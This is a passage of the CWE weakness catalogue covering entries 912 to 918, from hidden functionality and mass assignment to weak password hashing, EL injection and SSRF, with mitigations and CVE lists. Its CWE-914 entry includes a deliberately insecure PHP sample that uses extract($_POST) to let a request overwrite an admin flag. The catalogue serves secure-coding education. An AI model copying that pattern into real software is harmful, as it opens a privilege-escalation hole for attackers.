CVE-2008-5410	Improper reference counting leads to failure of cryptographic operations. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5410*
CVE-2009-1709	chain: improper reference counting in a garbage collection routine leads to use-after-free *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1709*
CVE-2009-3553	chain: reference count not correctly maintained when client disconnects during a large operation, leading to a use-after-free. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3553*
CVE-2009-3624	Reference count not always incremented, leading to crash or code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3624*
CVE-2010-0176	improper reference counting leads to expired pointer dereference. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0176*
CVE-2010-0623	OS kernel increments reference count twice but only decrements once, leading to resource consumption and crash. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0623*
CVE-2010-2549	OS kernel driver allows code execution *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2549*
CVE-2010-4593	improper reference counting leads to exhaustion of IP addresses *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4593*

Reference	Description
CVE-2011-0695	Race condition causes reference counter to be decremented prematurely, leading to the destruction of still-active object and an invalid pointer dereference. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0695*
CVE-2012-4787	improper reference counting leads to use-after-free *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-4787*

References

[REF-884]Mateusz "j00ru" Jurczyk. "Windows Kernel Reference Count Vulnerabilities - Case Study". 2012 November. < http://j00ru.vexillium.org/dump/zn_slides.pdf >.

CWE-912: Hidden Functionality

Weakness ID : 912 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the software's users or administrators.

Extended Description

Hidden functionality can take many forms, such as intentionally malicious code, "Easter Eggs" that contain extraneous functionality such as games, developer-friendly shortcuts that reduce maintenance or support costs such as hard-coded accounts, etc. From a security perspective, even when the functionality is not intentionally malicious or damaging, it can increase the software's attack surface and expose additional weaknesses beyond what is already exposed by the intended functionality. Even if it is not easily accessible, the hidden functionality could be useful for attacks that modify the control flow of the application.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	
Integrity	Alter Execution Logic	

Potential Mitigations

Phase: Installation

Always verify the integrity of the software that is being installed.

Phase: Testing

Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
133	Try All Common Switches
190	Reverse Engineer an Executable to Expose Assumed Hidden Functionality

CWE-913: Improper Control of Dynamically-Managed Code Resources

Weakness ID : 913 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.

Extended Description

Many languages offer powerful features that allow the programmer to dynamically create or modify existing code, or resources used by code such as variables and objects. While these features can offer significant flexibility and reduce development time, they can be extremely dangerous if attackers can directly influence these code resources in unexpected ways.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
ParentOf	B	94	Improper Control of Generation of Code ('Code Injection')	204
ParentOf	B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	996
ParentOf	B	502	Deserialization of Untrusted Data	1072
ParentOf	B	914	Improper Control of Dynamically-Identified Variables	1589
ParentOf	B	915	Improperly Controlled Modification of Dynamically-Determined Object Attributes	1591

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	996
ParentOf	B	502	Deserialization of Untrusted Data	1072
ParentOf	B	915	Improperly Controlled Modification of Dynamically-Determined Object Attributes	1591

Common Consequences

Scope	Impact	Likelihood
Integrity	Execute Unauthorized Code or Commands	
Other Integrity	Varies by Context Alter Execution Logic	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

For any externally-influenced input, check the input against an allowlist of acceptable values.

Phase: Implementation

Phase: Architecture and Design

Strategy = Refactoring

Refactor the code so that it does not need to be dynamically managed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046

CWE-914: Improper Control of Dynamically-Identified Variables

Weakness ID : 914 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software does not properly restrict reading from or writing to dynamically-identified variables.

Extended Description

Many languages offer powerful features that allow the programmer to access arbitrary variables that are specified by an input string. While these features can offer significant flexibility and reduce development time, they can be extremely dangerous if attackers can modify unintended variables that have security implications.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	913	Improper Control of Dynamically-Managed Code Resources	1588
ChildOf	C	99	Improper Control of Resource Identifiers ('Resource Injection')	224
ParentOf	B	621	Variable Extraction Error	1231
ParentOf	B	627	Dynamic Variable Evaluation	1241

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864

Weakness Ordinalities

Primary :

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *An attacker could modify sensitive data or program variables.*	
Integrity	Execute Unauthorized Code or Commands	
Other Integrity	Varies by Context Alter Execution Logic	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

For any externally-influenced input, check the input against an allowlist of internal program variables that are allowed to be modified.

Phase: Implementation

Phase: Architecture and Design

Strategy = Refactoring

Refactor the code so that internal program variables do not need to be dynamically identified.

Demonstrative Examples

Example 1:

This code uses the credentials sent in a POST request to login a user.

Example Language: PHP *(bad)*

```
//Log user in, and set $isAdmin to true if user is an administrator
function login($user,$pass){
    $query = buildQuery($user,$pass);
    mysql_query($query);
    if(getUserRole($user) == "Admin"){
        $isAdmin = true;
    }
}
$isAdmin = false;
extract($_POST);
login(mysql_real_escape_string($user),mysql_real_escape_string($pass));
```

The call to extract() will overwrite the existing values of any variables defined previously, in this case $isAdmin. An attacker can send a POST request with an unexpected third value "isAdmin" equal to "true", thus gaining Admin privileges.

Observed Examples

Reference	Description
CVE-2006-7135	extract issue enables file inclusion *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7135*
CVE-2006-7079	extract used for register_globals compatibility layer, enables path traversal *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7079*
CVE-2007-0649	extract() buried in include files makes post-disclosure analysis confusing; original report had seemed incorrect. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0649*
CVE-2006-6661	extract() enables static code injection *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6661*

Reference	Description
CVE-2006-2828	import_request_variables() buried in include files makes post-disclosure analysis confusing *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2828*
CVE-2009-0422	Chain: Dynamic variable evaluation allows resultant remote file inclusion and path traversal. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0422*
CVE-2007-2431	Chain: dynamic variable evaluation in PHP program used to modify critical, unexpected $_SERVER variable for resultant XSS. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2431*
CVE-2006-4904	Chain: dynamic variable evaluation in PHP program used to conduct remote file inclusion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4904*
CVE-2006-4019	Dynamic variable evaluation in mail program allows reading and modifying attachments and preferences of other users. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4019*

CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

Weakness ID : 915 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.

Extended Description

If the object contains attributes that were only intended for internal use, then their unexpected modification could lead to a vulnerability.

This weakness is sometimes known by the language-specific mechanisms that make it possible, such as mass assignment, autobinding, or object injection.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	913	Improper Control of Dynamically-Managed Code Resources	1588
PeerOf	B	502	Deserialization of Untrusted Data	1072
PeerOf	B	502	Deserialization of Untrusted Data	1072

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	913	Improper Control of Dynamically-Managed Code Resources	1588

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Ruby *(Prevalence = Undetermined)*

Language : ASP.NET *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Language : Python *(Prevalence = Undetermined)*

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Mass Assignment : "Mass assignment" is the name of a feature in Ruby on Rails that allows simultaneous modification of multiple object attributes.

AutoBinding : The "Autobinding" term is used in frameworks such as Spring MVC and ASP.NET MVC.

PHP Object Injection : Some PHP application researchers use this term for attacking unsafe use of the unserialize() function, but it is also used for CWE-502.

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *An attacker could modify sensitive data or program variables.*	
Integrity	Execute Unauthorized Code or Commands	
Other Integrity	Varies by Context Alter Execution Logic	

Potential Mitigations

Phase: Implementation

If available, use features of the language or framework that allow specification of allowlists of attributes or fields that are allowed to be modified. If possible, prefer allowlists over denylists. For applications written with Ruby on Rails, use the attr_accessible (allowlist) or attr_protected (denylist) macros in each class that may be used in mass assignment.

Phase: Architecture and Design

Phase: Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Phase: Implementation

Strategy = Input Validation

For any externally-influenced input, check the input against an allowlist of internal object attributes or fields that are allowed to be modified.

Phase: Implementation

Phase: Architecture and Design

Strategy = Refactoring

Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.

Observed Examples

Reference	Description
CVE-2012-2054	Mass assignment allows modification of arbitrary attributes using modified URL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2054*
CVE-2012-2055	Source version control product allows modification of trusted key using mass assignment. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2055*
CVE-2008-7310	Attackers can bypass payment step in e-commerce software. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-7310*
CVE-2013-1465	Use of PHP unserialize function on untrusted input allows attacker to modify application configuration. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1465*
CVE-2012-3527	Use of PHP unserialize function on untrusted input in content management system might allow code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3527*
CVE-2012-0911	Use of PHP unserialize function on untrusted input in content management system allows code execution using a crafted cookie value. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0911*
CVE-2012-0911	Content management system written in PHP allows unserialize of arbitrary objects, possibly allowing code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0911*
CVE-2011-4962	Content management system written in PHP allows code execution through page comments. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4962*
CVE-2009-4137	Use of PHP unserialize function on cookie value allows remote code execution or upload of arbitrary files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4137*
CVE-2007-5741	Content management system written in Python interprets untrusted data as pickles, allowing code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5741*
CVE-2011-2520	Python script allows local users to execute code via pickled data. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2520*
CVE-2005-2875	Python script allows remote attackers to execute arbitrary code using pickled objects. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2875*
CVE-2013-0277	Ruby on Rails allows deserialization of untrusted YAML to execute arbitrary code. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0277*
CVE-2011-2894	Spring framework allows deserialization of objects from untrusted sources to execute arbitrary code. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2894*
CVE-2012-1833	Grails allows binding of arbitrary parameters to modify arbitrary object properties. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1833*
CVE-2010-3258	Incorrect deserialization in web browser allows escaping the sandbox. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3258*
CVE-2008-1013	Media library allows deserialization of objects by untrusted Java applets, leading to arbitrary code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1013*

Notes

Maintenance

The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.

References

[REF-885]Stefan Esser. "Shocking News in PHP Exploitation". 2009. < http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf >.

[REF-886]Dinis Cruz. ""Two Security Vulnerabilities in the Spring Framework's MVC" pdf (from 2008)". < http://blog.diniscruz.com/2011/07/two-security-vulnerabilities-in-spring.html >.

[REF-887]Ryan Berg and Dinis Cruz. "Two Security Vulnerabilities in the Spring Framework's MVC". < http://o2platform.files.wordpress.com/2011/07/ounce_springframework_vulnerabilities.pdf >.

[REF-888]ASPNETUE. "Best Practices for ASP.NET MVC". 2010 September 7. < http://blogs.msdn.com/b/aspnetue/archive/2010/09/17/second_2d00_post.aspx >.

[REF-889]Michael Hartl. "Mass assignment in Rails applications". 2008 September 1. < http://blog.mhartl.com/2008/09/21/mass-assignment-in-rails-applications/ >.

[REF-890]Tobi. "Secure your Rails apps!". 2012 March 6. < http://pragtob.wordpress.com/2012/03/06/secure-your-rails-apps/ >.

[REF-891]Heiko Webers. "Ruby On Rails Security Guide". < http://guides.rubyonrails.org/security.html#mass-assignment >.

[REF-892]Josh Bush. "Mass Assignment Vulnerability in ASP.NET MVC". 2012 March 5. < http://freshbrewedcode.com/joshbush/2012/03/05/mass-assignment-aspnet-mvc/ >.

[REF-893]K. Scott Allen. "6 Ways To Avoid Mass Assignment in ASP.NET MVC". 2012 March 2. < http://odetocode.com/blogs/scott/archive/2012/03/11/complete-guide-to-mass-assignment-in-asp-net-mvc.aspx >.

[REF-894]Egidio Romano. "PHP Object Injection". 2013 January 2. < https://www.owasp.org/index.php/PHP_Object_Injection >.

[REF-464]Heine Deelstra. "Unserializing user-supplied data, a bad idea". 2010 August 5. < http://heine.familiedeelstra.com/security/unserialize >.

[REF-466]Nadia Alramli. "Why Python Pickle is Insecure". 2009 September 9. < http://nadiana.com/python-pickle-insecure >.

CWE-916: Use of Password Hash With Insufficient Computational Effort

Weakness ID : 916 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software generates a hash for a password, but it uses a scheme that does not provide a sufficient level of computational effort that would make password cracking attacks infeasible or expensive.

Extended Description

Many password storage mechanisms compute a hash and store the hash, instead of storing the original password in plaintext. In this design, authentication involves accepting an incoming password, computing its hash, and comparing it to the stored hash.

Many hash algorithms are designed to execute quickly with minimal overhead, even cryptographic hashes. However, this efficiency is a problem for password storage, because it can reduce an attacker's workload for brute-force password cracking. If an attacker can obtain the hashes through some other method (such as SQL injection on a database that stores hashes), then the attacker can store the hashes offline and use various techniques to crack the passwords by computing hashes efficiently. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing (such as cloud computing) and GPU, ASIC, or FPGA hardware. In such a scenario, an efficient hash algorithm helps the attacker.

There are several properties of a hash scheme that are relevant to its strength against an offline, massively-parallel attack:

- The amount of CPU time required to compute the hash ("stretching")
- The amount of memory required to compute the hash ("memory-hard" operations)
- Including a random value, along with the password, as input to the hash computation ("salting")
- Given a hash, there is no known way of determining an input (e.g., a password) that produces this hash value, other than by guessing possible inputs ("one-way" hashing)
- Relative to the number of all possible hashes that can be generated by the scheme, there is a low likelihood of producing the same hash for multiple different inputs ("collision resistance")

Note that the security requirements for the software may vary depending on the environment and the value of the passwords. Different schemes might not provide all of these properties, yet may still provide sufficient security for the environment. Conversely, a solution might be very strong in preserving one property, which still being very weak for an attack against another property, or it might not be able to significantly reduce the efficiency of a massively-parallel attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	327	Use of a Broken or Risky Cryptographic Algorithm	720
ParentOf	V	759	Use of a One-Way Hash without a Salt	1395
ParentOf	V	760	Use of a One-Way Hash with a Predictable Salt	1399

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	G	327	Use of a Broken or Risky Cryptographic Algorithm	720

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	1855
MemberOf	C	310	Cryptographic Issues	1858

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *If an attacker can gain access to the hashes, then the lack of sufficient computational effort will make it easier to conduct brute force attacks using techniques such as rainbow tables, or specialized hardware such as GPUs, which can be much faster than general-purpose CPUs for computing hashes.*	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use. Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead. Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

Effectiveness = High

Phase: Implementation

Phase: Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Observed Examples

Reference	Description
CVE-2008-1526	Router does not use a salt with a hash, making it easier to crack passwords. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1526*
CVE-2006-1058	Router does not use a salt with a hash, making it easier to crack passwords. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1058*
CVE-2008-4905	Blogging software uses a hard-coded salt when calculating a password hash. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4905*
CVE-2002-1657	Database server uses the username for a salt when encrypting passwords, simplifying brute force attacks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1657*
CVE-2001-0967	Server uses a constant salt when encrypting passwords, simplifying brute force attacks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0967*
CVE-2005-0408	chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0408*

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
55	Rainbow Table Password Cracking

References

[REF-291]Johnny Shelley. "bcrypt". < http://bcrypt.sourceforge.net/ >.

[REF-292]Colin Percival. "Tarsnap - The scrypt key derivation function and encryption utility". < http://www.tarsnap.com/scrypt.html >.

[REF-293]B. Kaliski. "RFC2898 - PKCS #5: Password-Based Cryptography Specification Version 2.0". 2000. < http://tools.ietf.org/html/rfc2898 >.

[REF-294]Coda Hale. "How To Safely Store A Password". 2010 January 1. < http://codahale.com/how-to-safely-store-a-password/ >.

[REF-295]Brian Krebs. "How Companies Can Beef Up Password Security (interview with Thomas H. Ptacek)". 2012 June 1. < http://krebsonsecurity.com/2012/06/how-companies-can-beef-up-password-security/ >.

[REF-296]Solar Designer. "Password security: past, present, future". 2012. < http://www.openwall.com/presentations/PHDays2012-Password-Security/ >.

[REF-297]Troy Hunt. "Our password hashing has no clothes". 2012 June 6. < http://www.troyhunt.com/2012/06/our-password-hashing-has-no-clothes.html >.

[REF-298]Joshbw. "Should we really use bcrypt/scrypt?". 2012 June 8. < http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/ >.

[REF-636]Jeff Atwood. "Speed Hashing". 2012 April 6. < http://www.codinghorror.com/blog/2012/04/speed-hashing.html >.

[REF-631]OWASP. "Password Storage Cheat Sheet". < https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet >.

[REF-632]Thomas Ptacek. "Enough With The Rainbow Tables: What You Need To Know About Secure Password Schemes". 2007 September 0. < http://www.securityfocus.com/blogs/262 >.

[REF-908]Solar Designer. "Password hashing at scale". 2012 October 1. < http://www.openwall.com/presentations/YaC2012-Password-Hashing-At-Scale/ >.

[REF-909]Solar Designer. "New developments in password hashing: ROM-port-hard functions". 2012 November. < http://www.openwall.com/presentations/ZeroNights2012-New-In-Password-Hashing/ >.

[REF-633]Robert Graham. "The Importance of Being Canonical". 2009 February 2. < http://erratasec.blogspot.com/2009/02/importance-of-being-canonical.html >.

CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

Weakness ID : 917 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software constructs all or part of an expression language (EL) statement in a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	136

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Alternate Terms

EL Injection :

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Execute Unauthorized Code or Commands	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1027	OWASP Top Ten 2017 Category A1 - Injection	1026	1975

Notes

Relationship

In certain versions of Spring 3.0.5 and earlier, there was a vulnerability (CVE-2011-2730) in which Expression Language tags would be evaluated twice, which effectively exposed any application to EL injection. However, even for later versions, this weakness is still possible depending on configuration.

References

[REF-911]Stefano Di Paola and Arshan Dabirsiaghi. "Expression Language Injection". < http://www.mindedsecurity.com/fileshare/ExpressionLanguageInjection.pdf >.

[REF-912]Dan Amodio. "Remote Code with Expression Language Injection". 2012 December 4. < http://danamodio.com/application-security/discoveries/spring-remote-code-with-expression-language-injection/ >.

CWE-918: Server-Side Request Forgery (SSRF)

Weakness ID : 918 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

Extended Description

By providing URLs to unexpected hosts or ports, attackers can make it appear that the server is sending the request, possibly bypassing access controls such as firewalls that prevent the attackers from accessing the URLs directly. The server can be used as a proxy to conduct port scanning of hosts in internal networks, use other URLs such as that can access documents on the system (using file://), or use other protocols such as gopher:// or tftp://, which may provide greater control over the contents of requests.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	441	Unintended Proxy or Intermediary ('Confused Deputy')	950

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	610	Externally Controlled Reference to a Resource in Another Sphere	1213

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Undetermined)*

Alternate Terms

XSPA : Cross Site Port Attack

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Execute Unauthorized Code or Commands	

Observed Examples

Reference	Description
CVE-2002-1484	Web server allows attackers to request a URL from another server, including other ports, which allows proxied scanning. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1484*
CVE-2004-2061	CGI script accepts and retrieves incoming URLs. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2061*
CVE-2010-1637	Web-based mail program allows internal network scanning using a modified POP3 port number. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1637*
CVE-2009-0037	URL-downloading library automatically follows redirects to file:// and scp:// URLs *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0037*

Notes

Relationship

CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the "Server" portion of the SSRF acronym does not necessarily apply.

References

[REF-913]Alexander Polyakov and Dmitry Chastukhin. "SSRF vs. Business-critical applications: XXE tunneling in SAP". 2012 July 6. < https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf >.

[REF-914]Alexander Polyakov, Dmitry Chastukhin and Alexey Tyurin. "SSRF vs. Business-critical Applications. Part 1: XXE Tunnelling in SAP NetWeaver". < http://erpscan.com/wp-content/uploads/2012/08/SSRF-vs-Businness-critical-applications-whitepaper.pdf >.

[REF-915]Riyaz Ahemed Walikar. "Cross Site Port Attacks - XSPA - Part 1". 2012 November 7. < https://ibreak.software/cross-site-port-attacks-xspa-part-1/ >.

[REF-916]Riyaz Ahemed Walikar. "Cross Site Port Attacks - XSPA - Part 2". 2012 November 3. < https://ibreak.software/cross-site-port-attacks-xspa-part-2/ >.

[REF-917]Riyaz Ahemed Walikar. "Cross Site Port Attacks - XSPA - Part 3". 2012 November 4. < https://ibreak.software/cross-site-port-attacks-xspa-part-3/ >.

[REF-918]Vladimir Vorontsov and Alexander Golovko. "SSRF attacks and sockets: smorgasbord of vulnerabilities". < http://www.slideshare.net/d0znpp/ssrf-attacks-and-sockets-smorgasbord-of-vulnerabilities >.

